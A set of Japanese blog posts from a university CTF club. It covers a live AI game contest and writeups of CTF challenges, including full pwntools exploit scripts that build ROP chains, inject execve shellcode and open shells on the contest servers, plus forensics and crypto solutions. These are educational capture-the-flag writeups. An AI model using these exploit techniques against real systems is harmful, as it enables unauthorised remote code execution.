TSG live AI コンテストの内容と感想、盤面生成に関する妄想など

この記事はTSG Advent Calendar の11日目の記事として書かれました。昨日は、Misterさんの

misteer.hatenablog.com

でした。

live AI コンテストとは

簡単な対戦型のゲームに対する思考ルーチンを書いて戦わせるコンテストです。様子は、

www.youtube.com

で見られます。今回ぼくは、作問周りを担当しました。簡単にいうと、ゲームを考えて、適当にRustで実装したら、次の日にはhakatashi という人がJavaScriptのコードにして、ビジュアライザを書いていました。人間emscripten

お題について

お題そのものは 駒場祭2018 Live AI Contest からみることができると思います。以下引用をします

  • ゲームは、ターン制かつ攻撃側と防御側が存在する。
  • 各プレイヤーは同じ盤面から始めてそれぞれ攻撃側と防御側を一度ずつ行う。
  • 盤面の外周は壁で囲われているものとする。
  • 初期盤面では、大きさW x Hの盤面の上にはロボットといくつかの壁が配置されている。
  • ロボットの種類は、Beam, Targetであり、Beamが攻撃側、Targetが防御側に属する。
  • 各ターンごとに、プレイヤーは自分のロボットを選んで、四方の好きな方向を選び動かすことができる。
  • ロボットは、他のロボットか、壁に衝突するまで止まらずに真っ直ぐ進む。
  • ただし、Beamのロボットだけは、移動前に選んだ方向にビームを打ってから、移動をする。
  • このとき、ビームの先にTargetロボットが存在すればそのロボットは消滅する。
  • またこのビームの軌跡は盤面上に残りTargetロボットはこのBeamを超えることはできない。すなわち、Targetロボットにとっては、ビームの軌跡も壁になる。
  • また、ビーム自体は壁を突き破ることはない。
  • このビームによりすべてのTargetロボットが消滅したときに、ゲーム終了となり、攻守交代をして 同じ盤面で 再び対戦をする。
  • 300ターン後に決着がついていない場合、ゲームが終了する。
  • 自らが攻撃側の際にゲーム終了までにかかったターン数の合計がより少ないほうが勝ちである。

まぁつまり、やや雑な書き方をすれば「移動に制約がついたおいかけっこ」の攻撃側・防御側それぞれの思考ルーチンを書いて、「できるだけ速く相手を捕まえ、できるだけ相手から逃げろ」という話です。

例えば以下のような対戦がよくわかる例になります

https://raw.githubusercontent.com/moratorium08/static/master/output.gif

もととなったゲーム

実はこのロボットのうごき方は、「ハイパーロボット」 というゲームをもとにしています。もともとは、ロボットのうごきを組み合わせて「特定の場所」に移動させるゲームで、これもたのしいので、興味がある人は購入してみてください

簡単な思考ルーチン

このゲーム、ルールを見ると分かるように、攻撃側ロボットが動くと、盤面が狭まることを考えると、簡単に考えれば「攻撃側は相手の移動可能マスを狭めるように移動すればいい」ことが分かります。

すると、相手の動きはとりあえず無視して「相手の移動可能範囲」を狭めていくように探索していくとある程度勝つことができるようになります。この比較的雑な全探索があたりがコンテスト中は実装されればいいなあという気持ちがありましたが、冷静に考えて競技時間75分は短いという話があり、ややゲームが複雑過ぎた可能性があります。

また、逃げる側も「一手後に殺される数を最小化する」ようにするだけでも十分「ターン数を稼げる」ので、ここらへんを想定していました。

盤面生成

実はこのゲーム結構盤面生成が難しいです。というのも、「すべてのマスの上を攻撃側ロボットが通過可能」でなければ、安置ができてしまう可能性があるわけですが、これを保証できるようにするのは、比較的難しく、全探索できるような盤面サイズであれば攻撃側AIも全探索ができてしまうので面白くなく、また安置が無いと証明した盤面を自動で生成するのもそれなりに難しいと思われました。

例えば、雑にすべてのマスが連結(マス同士を一つ一つ移動していけばすべてのマスに移動できる)としても、例えば、初期盤面で

* *
.   
* *
x

のような盤面ができてしまうとxは.に到達ができません。

これを回避するには、次のような盤面を考え、それらをうまくつなぎ合わせるとおそらくランダムで適切な盤面の""良い近似""(雑な表現ですが)な盤面生成ができると考えられます。

  • 全探索可能な小さいサイズで、その盤面内のいくつかの点をハブとする。すなわち、ハブからその盤面内の任意の点へいけることを保証し、逆に盤面内の任意の点はハブにいけることを保証する
  • 上のルールで作った異なるサイズの盤面を組み合わせてより大きい盤面を作る。ただし、各盤面をつなぎあわせる際に盤面の少なくとも1つのハブの少なくとも一つのもう一方の盤面のそのハブとの接点となるマスが「壁」になっていない

実際のところ、盤面に傾向ができてしまうため、うまくやると、各盤面をHackして効率の良いルートが発見できるかもしれませんが、盤面の構成法を秘匿、すなわち、どれくらいのサイズのマス同士をどのように組み合わせたかを知らせなければ、Hackするのは難しいのではないかと雑に考えています。

まぁところで、盤面生成の問題を解決しなければいけないと思ったのが、コンテスト10時間前などであって、上を完全に実装するのがしんどかったため、コンテストの盤面生成に際しては、手動で目で見て「おそらく上を満たしていそうな盤面」を複数作って、それらを組み合わせて大きい盤面を作りました。悲しいですね。まぁ逆にいえば、もととなったハイパーロボットの盤面ってそうやって作られたんかな〜と妄想などをしたりしていました。

反省

おそらくライブですべての内容を完結させるには、ある程度「まとも」なゲームを考えると、普通にしんどいよなあという気持ちになりました。本質50~60行程度の思考ルーチンで、探索のしやすい構造をしたゲームないし、うまいヒューリスティクスが考えられそうなゲームで、完全に最良とは言えないが、多くの場合で最良になりそうなアルゴリズムを想定として持ったような状態で望むくらいがlive AIコンテスト的には正しい姿勢かもしれません。

感想

まぁしかし楽しかったです。気づいたらなんでも実装してくれる hakatashi さんと、catより強いAIを作ってさらに実況もしてくれたfiord くん、ありがとうございました。

明日(今日?)は、pizzacat83 さんの 「クラスSlackの話?」です。

TSG live CTF writeup - cruel dd, rop4, rop1, simple pwn, RSA modoki, repeat64, leap it, TSG shooter

この記事はTSG Advent Calendar 2018 の4日目の記事として書かれました。昨日は、taiyoslime さんの駒場祭 TSGCTF day1 Writeup でした。

僕の所属するサークル TSGが 東京大学駒場祭というイベントにて、ライブCTFというものをしました。そのときの動画はyoutube から見れるので見てください。

この企画、1日目と3日目に2回行われていて、僕は両方に出たので、それぞれの日のwriteupを書こうと思います

1日目

1日目の方は、Web/Stego/Forensic dayで、それ系の問題を kcz146 さんが作ったわけですが、まぁ分野的ににゃーん(しんどかった)で、simqleとcruel ddという二問しか解けていません。simqleは、昨日のスライムくんの記事で十分だと思うので、めんどいしもう書きません。cruel ddは昨日のブログにはなさそうだったのでwriteupを残しておこうと思います

Cruel dd

ext2ファイルシステムは、primary superblockが壊れていても8194(8193)番目のブロックなどに、バックアップが存在します

結局のところ、これをprimary superblockにコピーしてからマウントすれば良いという話です

今回のファイルシステムの全体の大きさから考えると、1block 1024バイトだったとすると8194(8193)番目のブロックは、ファイルの外側になってしまうので、512バイトが1blockだったと推定できます。

実際8193番目のブロックを取り出してみると

0400 0000 2000 0000 0199 0000 018f 0000
0011 0000 0001 0000 0000 0000 0000 0000
1000 0000 1000 0000 0200 0000 9015 5c03
9015 5c03 0002 ffff ef53 0000 0001 0000
1bef 5be9 0000 0000 0000 0000 0001 0000
0000 0000 000b 0000 0080 0000 0038 0000
0002 0000 0003 0000 01bc e156 98e7 b440
8a89 c281 5be1 50ba 0000 0000 0000 0000
0000 0000 0000 0000 6d2f 746e 682f 676f
0065 6569 2f73 7374 2f67 6d6b 3162 2f38
6f66 2d72 7865 3274 6d2f 746e 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 003f
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 32bf 0f89
fad9 f04f 4bb4 b39d b055 40af 0001 0000
000c 0000 0000 0000 1bef 5be9 0000 0000

のようなデータがでてきて、良さそうであることがわかります。ext2では、ブロックサイズが512であっても1024であっても、とにかく1024byte目からがprimary super blockらしいので、今回は2番目のブロックに、上で手に入れたブロックを書き込めば良くて、

これをコピーすると

with open('problem.img', 'r') as f:
    dsk = f.read()
    f.seek(512 * 1)
    print(f.read(512).encode('hex'))
    f.seek(512 * 8194)
    s = f.read(512)
    print(f.read(512).encode('hex'))

    idx = 512
    with open('dump.img', 'w') as f:
        f.write(dsk[:idx * 2])
        f.write(s)
        f.write(dsk[3 * idx:])
$ file dump.img
dump.img: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=bc0156e1-e798-40b4-898a-81c2e15bba50 (large files)
$ sudo mount -t ext2 -o loop dump.img /mnt/hoge
$ cd /mnt/hoge
$ ls
0BJCq0  2zUFP9  618hYs  8SzRjh  BAqCXN  cRcuME  fyuHE8  GSVDov  japzYf  KCfhYO      NEkEt0  pVe5CV  sL8eLz  uEpZ06  w48Dn2  XgNgAN  Xu5yDV
1xGiip  4ywOPQ  7TfkLS  9mFmOX  bzpvEn  dQI4bR  g0SZSZ  ha8fEm  JnYMQr  LfApJD      nv5LoS  Q3SxM9  SQNciJ  uLlG5w  wJVWo3  XkBwxw  xvFkBG
2XzizX  5xJ6sl  8PIzdB  a0St7p  CIjr1B  fNeGvj  gQnmAC  IzjM6x  K2fbKz  lost+found  OP8MNj  rzHsxc  tkn1Cp  w1j6Po  XGFzEq  XStpXf  ycIRAo

無事マウントできる :tada:

あとは、適当にsha1sumが一致するものを探せばよく

$ sha1sum */* | grep 29e96b8528bfb561e2a3c449d08e642b441f3637
29e96b8528bfb561e2a3c449d08e642b441f3637  Q3SxM9/v3F20y.png

見つかって終わりです。 TSGCTF{Stegano_to_Forensics_ha_kamihitoe_dato_omoimasu}

day3

day3はpwn/reversing/crypto dayです。ライブ中は残念ながら二問しか解けませんでしたがそのあと他の問題もすべて解いたのでそれらのwriteupを簡単に書きます。

rop4/rop1

rop4はropをするだけなんですが、これにさらに制限がついたrop1は良い問題でした。特に、僕は、sigreturn oriented programming というものを知らなかったので、完全にROPパズルをしました。どうもrop1に関しては、想定解ではなかった(というのもrop1で動くペイロードはrop4で動くことが期待されているようだが、ROPパズルをしたので、僕の方針はrop4では動かない)ようで、多少真面目に書こうと思います。

rop4

まずrop4です。

f:id:moratorium08:20181204020707p:plain

シンプルですね。rwxな領域にデータを書き込めますが、基本的に0埋めされて、最終的に一番上の8bytesが

A
ret 
B
ret 
C
ret 
D
ret
0
...(残りは全部0埋め)

という構造になるので、まぁ愚直に考えて、A, B, C, Dにpop hogeを置いて、syscallを呼べばいいかなという気持ちになります。おあつらえ向きに最初、この領域にはpop rsiが置いてあるので、readのシステムコールの送り込み先を、この領域の頭にすることができるので、あとは頑張ってropガジェットを作るだけです

# coding: utf-8
from __future__ import print_function, division
from pwn import *

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "external.pwn.ctf-day3.tsg.ne.jp"
    port = 29000
else:
    host = "127.0.0.1"
    port = 3001

# 構造
'''
0x800000
---------
[0x402000]  ret to 0x402000
[0x402000]  pop ret -> rsi = 0x402000
>>>> Pop rax, 0x00, pop rdi, 0x00, pop rdx, 0x00 <<<<< (入力)
[0x402000] ret to 0x402000
59 (execve)  pop ret -> rax = 59
[0x402002]
/bin/sh addr (あとで決まる)rdi = “/bin/sh” addr
[0x402004]
0
[0x402006]
/binsh addr     rsi = binsh addr
[0x40013C] syscall
"/bin/sh"
'''

base = 0x402000
payload_len = 8 * 12
stack_base = 0x800000
argvaddr = stack_base + payload_len
binshaddr = argvaddr + 16
syscall = 0x40013c

read = 0x400132

payload = ''
payload += p64(base)
payload += p64(base)
payload += p64(read)
payload += p64(base)
payload += p64(59)
payload += p64(base + 2)
payload += p64(binshaddr)
payload += p64(base + 4)
payload += p64(0)
payload += p64(base + 6)
payload += p64(argvaddr)
payload += p64(syscall)

payload += p64(binshaddr)
payload += p64(0)
payload += '/bin/sh\x00'
payload += 'A' * (len(payload) - 1) #dummy


r = remote(host, port)
print('attach?')
raw_input()
r.sendline(payload)

import time
time.sleep(1)

'''

In [5]: ks.asm('pop rax')
Out[5]: ([88], 1L)

In [6]: ks.asm('pop rdi')
Out[6]: ([95], 1L)

In [7]: ks.asm('pop rdx')
Out[7]: ([90], 1L)
'''

print('ok?')
raw_input()
snd_input = '\x58\x00\x5f\x00\x5a\x00\x5e\x00'
snd_input +='A' * (len(snd_input) - 1) #dummy
r.send(snd_input)
r.interactive()
python rop4.py
[+] Opening connection to external.pwn.ctf-day3.tsg.ne.jp on port 29000: Done
attach?

ok?

[*] Switching to interactive mode
$ cat flag
TSG{Rop_Intr0duc71on}

rop1

さて、rop1です。今度は、

f:id:moratorium08:20181204021359p:plain

さっきの1byte書き込める領域が一つになってしまいました。こうなるとさっきの方針では、システムコールの引数を作るのは多分難しいです。実は、このropガジェット領域が無くてもいけるアツい方法でこの問題は解けるらしいですが、ぼくはもっと愚直に頑張ってROPをしました。

まずROPガジェットを眺めると

A total of 29 gadgets found.
You decided to keep only the unique ones, 26 unique gadgets found.
0x00400162: add bl, al ; mov word [0x00402002], 0x0000 ; mov dword [0x00402004], 0x00000000 ; ret  ;  (2 found)
0x00400136: add byte [rax+0x00000000], bh ; syscall  ;  (1 found)
0x00400134: add byte [rax], al ; add byte [rax+0x00000000], bh ; syscall  ;  (1 found)
0x00400133: add byte [rax], al ; add byte [rax], al ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400176: add byte [rax], al ; add byte [rax], al ; ret  ;  (1 found)
0x00400138: add byte [rax], al ; add byte [rax], al ; syscall  ;  (1 found)
0x0040016d: add byte [rax], al ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400135: add byte [rax], al ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400178: add byte [rax], al ; ret  ;  (1 found)
0x0040013a: add byte [rax], al ; syscall  ;  (1 found)
0x00400173: and byte [rax+0x00], al ; add byte [rax], al ; add byte [rax], al ; ret  ;  (1 found)
0x0040016a: and byte [rax+0x00], al ; add byte [rax], al ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400161: and byte [rax+0x00], al ; ret  ;  (1 found)
0x0040015f: and eax, 0x00402001 ; ret  ;  (1 found)
0x00400168: and eax, 0x00402002 ; add byte [rax], al ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400171: and eax, 0x00402004 ; add byte [rax], al ; add byte [rax], al ; ret  ;  (1 found)
0x0040015d: mov byte [0x00402001], 0xFFFFFFC3 ; mov word [0x00402002], 0x0000 ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x0040016f: mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00400137: mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400132: mov edi, 0x00000000 ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400130: mov esi, esp ; mov edi, 0x00000000 ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x0040012f: mov rsi, rsp ; mov edi, 0x00000000 ; mov eax, 0x00000000 ; syscall  ;  (1 found)
0x00400165: mov word [0x00402002], 0x0000 ; mov dword [0x00402004], 0x00000000 ; ret  ;  (1 found)
0x00402000: pop rsi ; ret  ;  (1 found)
0x00400164: ret  ;  (3 found)
0x0040013c: syscall  ;  (1 found)

まぁ基本的に使えそうなのはpop rsi ; retだけに思えるんですが、ところで、今回rwxとして用意されているアドレスが0x402000であったことを思い出すと、add byte [rax], al ; ret このガジェットが使えそうという気持ちになります。すなわち、rop用領域を一度pop rax; retに書き換えてから、ROPで、rax = 0x402001にして、その上でこのガジェットを大量に呼び出し続けると、0x402001の値を1ずつ加算できることが分かります。もともと0x402001はret、すなわち0xc3だったことを考えると、良い感じにほしいpop hogeとしてpop rdiが挙げられるので、156回加算をさせて、pop rdiに書き換えることができます。そうするとメモリは

pop rax
pop rdi
(以降0)

というようになり適切にretを入れるひつようがあります。これも同様にして作ればよく、0xc3は3の倍数なので、rax = 0x402003としたあとに0xc3/3回同じように足せばいいことが分かります。0x402002が0だと困るのでこれも良い感じのpop hogeを入れておきます(なんでもいいですが)。

f:id:moratorium08:20181204023108p:plain

ここまでやれば、rop4のようにexecveを呼び出すのは少し難しそうですが、mprotectを使ってstackをrwxにできればよく、(実際はlengthの値はかなり大きい値でもうごきそうだが、validなlengthに設定した上で)システムコールを呼ぶことができ、stackをrwxにすることができます。

あとは、stackにおいておいたシェルコードに飛ばせばシェルが取れます。

一つ問題としては、readで一度に読み込んでくれるサイズが0x100 bytesしかないことで、これを0x1000にするために最初に前処理を加える必要がありました(これもropで簡単にできますが)。

# coding: utf-8
from __future__ import print_function, division
from pwn import *
import time
time.sleep(1)

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "external.pwn.ctf-day3.tsg.ne.jp"
    port = 30000
else:
    host = "127.0.0.1"
    port = 3001

r = remote(host, port)
if is_gaibu:
    time.sleep(1)
else:
    print('attach?'); raw_input()

base = 0x402000
payload_len = 8 * 12
stack_base = 0x800000
argvaddr = stack_base + payload_len
binshaddr = argvaddr + 16
shellcode_addr = stack_base + payload_len
shellcode = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

syscall = 0x40013c
read = 0x400132
add_byte = 0x00400178

rdx = '\x5a'
rax = '\x58'
rsi = '\x5e'

#### 事前処理 ####
payload1 = ''
payload1 += p64(base)
payload1 += p64(base)
payload1 += p64(read) # <- pop rdxにする

# rdx = 0x1000
payload1 += p64(base)
payload1 += p64(0x1000)
payload1 += p64(read) # <- pop rsiにする

payload1 += p64(base)
payload1 += p64(stack_base + len(payload1) + 16)
payload1 += p64(read)

r.sendline(payload1)
if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rdx)'); raw_input()
r.sendline(rdx)

if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rsi)'); raw_input()
r.sendline(rsi)


#### main ####

# rsi = stack_base
payload = ''
payload += p64(base)
payload += p64(base)
payload += p64(read) # <- pop rdxにする
# rdx = 7
payload += p64(base)
payload += p64(7)
payload += p64(read) # <- pop raxにする

# ----ok? ----

# rax = 0x402002
payload += p64(base) # <- pop rax
payload += p64(base + 2) # 0x402002

# 0x0 -> 0x5e
payload += p64(add_byte) * (0x5e // 2)

# rax = 0x402002
payload += p64(base) # <- pop rax
payload += p64(base + 3) # 0x402002

payload += p64(add_byte) * (0xc3 // 3)

# rax = 0x402001
payload += p64(base)
payload += p64(base + 1) # 0x402001

# 0xc3 -> 0x5f(pop rdi)
payload += p64(add_byte) * 156


# pop rax, pop rdi, pop rsi, ret
payload += p64(base)
payload += p64(10)
payload += p64(stack_base)
payload += p64(1000)
payload += p64(syscall)

payload += p64(stack_base + len(payload) + len(payload1) + 8)
payload += shellcode
print(hex(len(payload)))


'''
payload += p64(binshaddr)
payload += p64(0)
payload += '/bin/sh\x00'
payload += 'A' * (len(payload) - 1) #dummy
'''


if is_gaibu:
    time.sleep(1)
else:
    print('ok?(payload)'); raw_input()
r.sendline(payload)


'''

In [5]: ks.asm('pop rax')
Out[5]: ([88], 1L)

In [6]: ks.asm('pop rdi')
Out[6]: ([95], 1L)

In [7]: ks.asm('pop rdx')
Out[7]: ([90], 1L)
'''

if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rdx)'); raw_input()
r.sendline(rdx)

if is_gaibu:
    time.sleep(1)
else:
    print('ok?(rax)'); raw_input()
r.sendline(rax)

r.interactive()
python rob1.py
[+] Opening connection to external.pwn.ctf-day3.tsg.ne.jp on port 30000: Done
0x90b
[*] Switching to interactive mode
$ cat flag
TSG{Y0u_4re_ropro}

simple pwn

やるだけです。ぼくはcat hoge | nc ...としていて、自分の読み込みが続かないことに20分くらい気づいていませんでした。悲しいね。

# coding: utf-8
from __future__ import print_function, division
from pwn import *

# socat TCP-L:3001,reuseaddr,fork EXEC:./execfile


is_gaibu = True
if is_gaibu:
    host = "external.pwn.ctf-day3.tsg.ne.jp"
    port = 28000
else:
    host = "127.0.0.1"
    port = 3001

r = remote(host, port)
hoge = "ABCDEFGH"

system = 0x4004f0
pwd = 0x4007F5
binsh = 0x4007ED
hoge += p64(binsh)
hoge += p64(binsh)

hoge += (p64(system) + p64(binsh)) * 20

r.recv()
r.sendline(hoge)
r.interactive()
python solve.py
[+] Opening connection to external.pwn.ctf-day3.tsg.ne.jp on port 28000: Done
[*] Switching to interactive mode

ls
/bin/sh
pwd
and so on.
I will execute system("ls").
By the way, what's your name?
Hello ABCDEFGH�@
$ ls
flag
simplepwn
$ cat flag
TSG{Off_8y_0n3_1s_d4ng3r0u5}

RSA modoki

メッセージM, 公開鍵(e, N)に対して、

M^{e}mod N以外に、M, e, Nの重複組み合わせ(x1, x2, x3)に対して、x1^{x2}mod x3 が与えられるので、もとのメッセージを取り戻せという問題。

僕の方針は、M^{N}mod NM^{e}mod Nに着目して、M^{e}mod Nから、Nを超えないようにN/eなる整数乗したとき、その逆元をM^{N}mod Nにかけたとき、M^{e}mod Nより小さいMの冪剰余が求まる。これを繰り返すという方針でやりました。以下がスクリプトです

from sage.all import *


Me = 4771927438269424617086864460427588927685968858772596529925425864827379896120677342742544705865325883178283881689067789633920046347508567495924928993205540902876922908440835891794350653124131548580661948466506456392406029257687330446439161784875061465249413422800555353575612039509318856082060867757527082999381382681891237917271888271811174085782976219225579510987322716658924425698600376008615787939852778696573220276869519135449197608289861125272164118208894871433095276157997819910533132370122315968610259885729508236467084582361328809053764435348792246127993087255786213328761410986229939118402787033699953785746
MN = 2705635819291353775853988251362403726882498874885389969416192625721003893762024008475144952793087638197473000259478395279558522609053080649616378945598157888081781184041761090892659996067449429721031367737633819648219255740636729108126622231032083738015194936402275715743952757447126135118415153697983971640544815760617119097009648465887032148606416028076780826062041413992737147902683974049281523412484290551752851064753504393948347489634682526224667317363112784571286702941321430018642062955630644754763642699174552713371624742888761597132517522186042726776731080342073756121029029595139976395043091228836743667745


N = 11159502697363856013014087630325194769032612229916855986133881700525832666671408777238454804419143104062299988043670796942992127119984056496278778789878488749442042358564463740567401062867661998262827092617833617075743085246402252357313145156718918947119757396543236803099546456384669430107126903793064986588442356897055315476310105926902296246772448382786544449241313197709212066491033697518631401105974395211231161231154021203581460265146297711102115283705416092393812547823630766771013374136542548254292826722116526570293825471153589829065146102153525323540179239410414991760354980994441364840359244680024715361373
e = 65537


a = MN
b = Me

an = N
bn = e

while True:
    x = pow(b, an // bn, N)
    xi = inverse_mod(int(x), N)
    tmp = (a * xi) % N

    a = b
    b = tmp

    tmp = an % bn
    an = bn
    bn = tmp
    if bn < 1:
        break
print hex(a).decode('hex')
TSG{The_m0r3_d4ta_you_have_7he_ea5ier_you_d3c0de}

Repeat64

メッセージMのbase64を10回くらいして得られた文字列の各バイトに対して、確率0.5で下位1bitを反転するという操作をされた文字列が与えられるので、もとの文字列を取り戻せという問題

これは、単純に前からk文字目までのメッセージが求まっているとき、k+1文字目とk+2文字目を全通り試して、長さk+2の文字列を上の変換をかけて得られた文字列の一致率がもっとも高いものを選ぶ というのを繰り返していけば良い。もっともぼくがやったときは、思考が停止していたため、k+1, k+2, k+3, k+4の4文字からk+1, k+2, k+3の3文字を決定するという計算量が大きいことをしてしまった。以下がそのスクリプト

import base64
ok = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

target = "Vl0vd2QyTXlVWFxYYUGwT1[r[GOkSm[1TVZOV10VbEOYa2L1VjKJRFVGWm[NajDxWjBaR3LySjWTbGinTWhCUVZucDd[V1KIVlusalKt`F8UW2N3[TZaeD0UTlSNazE1Wke1c3FGSoNkSEJXTUdRelmpRluXR0KITmxvW01DSUBVa2LxWkKGW0OuTlZhdmyYWWynU00xVoNXbXSXUjGKRWVteFOhVmqxV1ivW0KrbGhW`jZhZDZObmqF`GhmbXhZV1ZkLFQxUnNWcmKsTkB`cWlraENSbFqY[TZOaG[scHmWLWJHWkFaRlduWlFSRYBHVWqGU3SVVoNUcWisYlinVF[tMTCWMT05WWtj`lJuUlmZbF[hVjZ`eFRHZGyVbGw1VmWWU0XvLXKW`k5aTU[wWG[qRlGVLk5IWF0FT1JVbEWWbGP1TUG`Vk1VWk4RSDE5"

class S:
    def __init__(s, l):
        s.l = l

base = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_'

def gen2():
    l = []
    for c in base:
        for d in base:
            l.append(c + d)
    return l
def gen3():
    l = []
    for c in base:
        for d in base:
            for e in base:
                l.append(c + d + e)
    return l
def gen4():
    l = []
    for c in base:
        for d in base:
            for e in base:
                for f in base:
                    l.append(c + d + e + f)
    return l


def enc(x):
    for i in range(10):
        x = base64.b64encode(x)
    return x


s = 'TSG'

k = '{'

l = gen3()
mx = 0
result = ''
hoge = []
for t in l:
    x = enc(s + k + t)

    score = 0
    for (i, c) in enumerate(x[:-20]):
        if target[i] == c or chr(ord(target[i]) ^ 1) == c:
            score += 1

    hoge.append((score, t))

r = list(reversed(sorted(hoge, key=lambda x:x[0])))[:10]
print(r)
s = s + k + r[0][1][:-1]

l = gen4()
for i in range(4):
    mx = 0
    result = ''
    hoge =  []
    for t in l:
        x = enc(s + t)

        score = 0
        for (i, c) in enumerate(x[:-20]):
            if target[i] == c or chr(ord(target[i]) ^ 1) == c:
                score += 1

        if score > mx:
            mx = score
            result = t[:-1]
            print(mx, result)
            if (len(x[:-20]) == score):
                break
    s += result
    print(r)
    print(mx, s)

k = '}'
l = gen2()
mx = 0
result = ''
hoge = []
for t in l:
    x = enc(s + t + k)

    score = 0
    for (i, c) in enumerate(x):
        if target[i] == c or chr(ord(target[i]) ^ 1) == c:
            score += 1

    if score > mx:
        mx = score
        result = t
    hoge.append((score, t))
s += result
r = list(reversed(sorted(hoge, key=lambda x:x[0])))[:10]
print(r)

s += result + k

print(mx)
print(s)

print(result)
TSG{Ba5e64_1s_r0bus7}

Leap It

C言語のQuineっぽい何かが与えられる。これを作るのがしんどそう。ところで、フラグの文字列の場所だけが、一度実行するごとにずれていく。1000000回実行するとフラグにたどり着くようだが、意外とコンパイルは時間がかかるので終わらない。

まぁ結局の所、これはフラグが書き換わる部分だけをシミュレートするプログラムを書けば良い

#include <stdio.h>
#include <stdlib.h>
#define FLAGLEN 17

unsigned int iv = 1337;
unsigned int cnt = 1000000;
unsigned char flag[FLAGLEN+1] = {
    52, 236, 200, 230, 31, 172, 21, 5, 242, 126, 235, 174, 32, 145, 4, 88, 54, 0
};

unsigned int myrand(){
    iv = (iv * 314 + 159) % 265358;
    return iv;
}
int main(void) {
    for (; cnt != 0; cnt--) {
        unsigned int p,q;
        p = myrand();
        q = myrand();
        flag[p % FLAGLEN] ^= (q & 255);
    }
    int i;
    for(i=0;i<FLAGLEN;i++){
        printf("%d, ",flag[i]);
    }
    return 0;
}
In [1]: l = [84, 83, 71, 123, 73, 95, 49, 48, 118, 101, 95, 57, 117, 105, 110, 101, 125]

In [2]: ''.join(map(chr, l))
Out[2]: 'TSG{I_10ve_9uine}'

TSG shooter

windows PE32 バイナリ。絵が綺麗だから入れたらしい。普通にうさみみハリケーンでHPを書き換えたらいける。windows立ち上げるのがしんどい

f:id:moratorium08:20181204025519p:plain

最後に

くっきーさん、satosさん作問お疲れ様でした。楽しかったです。

TSGCTF開けるといいですね

min-camlのプログラムからシェルが取れるか?

問題文

副作用も、libcもいなくなったとき残るのは、型安全で純粋な素晴らしい世界のはずだった......

nc external.pwn.ctf-day3.tsg.ne.jp 31000

接続すると、min-camlのプログラムをサーバーに提出でき、サーバーはmin-camlコンパイラコンパイルして実行をしてくれます。シェルを取れるようなプログラムを提出してフラグを得てください。ただし、min-camlコンパイラには問題を成立させるための以下に示すパッチが入っています。

パッチの概要

  • glibcを呼び出すような関数をlibmincaml.Sから削除
  • stub.cをglibcを用いないように書き換え
  • Arrayの代入構文を削除

!!追記!!

やや僕の想定したものとは異なる方法で解けることが分かり、せっかくなのでさらにパッチを入れる自己満足をしました。具体的にはArrayのGetの構文も消しました。

nc external.pwn.ctf-day3.tsg.ne.jp 32000

コンテストサイト

駒場祭のときのシステムを借りました(くっきー さん、さとすさん、ありがとうございます)

https://ctf-day3.tsg.ne.jp/

問題関連ファイル

上のコンテストサイトからもダウンロードできますが、以下に添付します

https://gist.github.com/moratorium08/cb5a3de6d8249c512fb26b433955d3fc

補足

この投稿は、ISer Advent Calendar 2018 の2日目として書かれました。 昨日の記事はjoeさんのPolicy Based Data Structures でした。

理学部情報学科では、世に言う「CPU実験」で、独自アーキに対してプログラムをコンパイルするために、コンパイラを作るのですが、このときベースとなるのが、住井英二郎先生が作った min-caml であり、このコンパイラの詳細について(無駄に?)詳しくなります。まぁもっともフルスクラッチしたり、LLVMしたりしている人がいるわけですが。

実験をやっているうちに、いくつかpwnとして問題にできそうな話を考えたんですが、ところでmin-camlというマイナーなものを使って問題を出しても基本需要が無いということで、理学部情報学科のアドベントカレンダーで供養しました。

アドベントカレンダーが埋まっていなければ、23日くらいにwriteupを書く記事を出します。

暇があったらぜひ解いてみてください(フラグが取れたら、上のコンテストサイトにぜひ投稿してください)

seccon quals 2018

結果

2位

writeup

Runme

winバイナリです。IDAを開きます。true/falseを計算する関数を見つけます。その関数をたどっていくと、パスを一文字ずつ比較していく関数が連なっていることがわかります。文字をくっつけて終わり

Special Instructions

moxieという謎アーキ。結論からいえば、objdumpするだけだったが、試行錯誤的にはmoxieのqemugdbを入れて実行をして、拡張オペコードとして、xorshift32のseedを設定する命令と値を計算して返す命令があることがわかるので、gdbscriptを使って自動で実行できるようにした。

はずだったが、qemu remote debugがバグってんのか、gdbがバグってんのかしらんけどsetでpc以外のレジスタが書き換えられなかったので、結局自分でdisasmしてpythonで答えをだした。

せっかくgdbscirptでやや非自明なコードを書いたので今後のためにも供養しておく

target remote localhost:1234
b *0x154a
command
    set $pc=0x154c
#continue
end
b *0x1480
command
  set $pc=0x160c
end
set *0x1c60=2463534242
define get_value
  set *0x1c60=(*0x1c60) ^ (*0x1c60 << 13)
  set *0x1c60=(*0x1c60) ^ (*0x1c60 >> 17)
  set *0x1c60=(*0x1c60) ^ (*0x1c60 << 15)
  set $r0=*0x1c60
  set $pc = 0x1550
  print $r0
end
b *0x154e
command
    get_value
end

Profile

pwn。x64のC++バイナリ。Name/Age/Msgを最初に入力し、後からMsgを更新できるという機能を持つ。

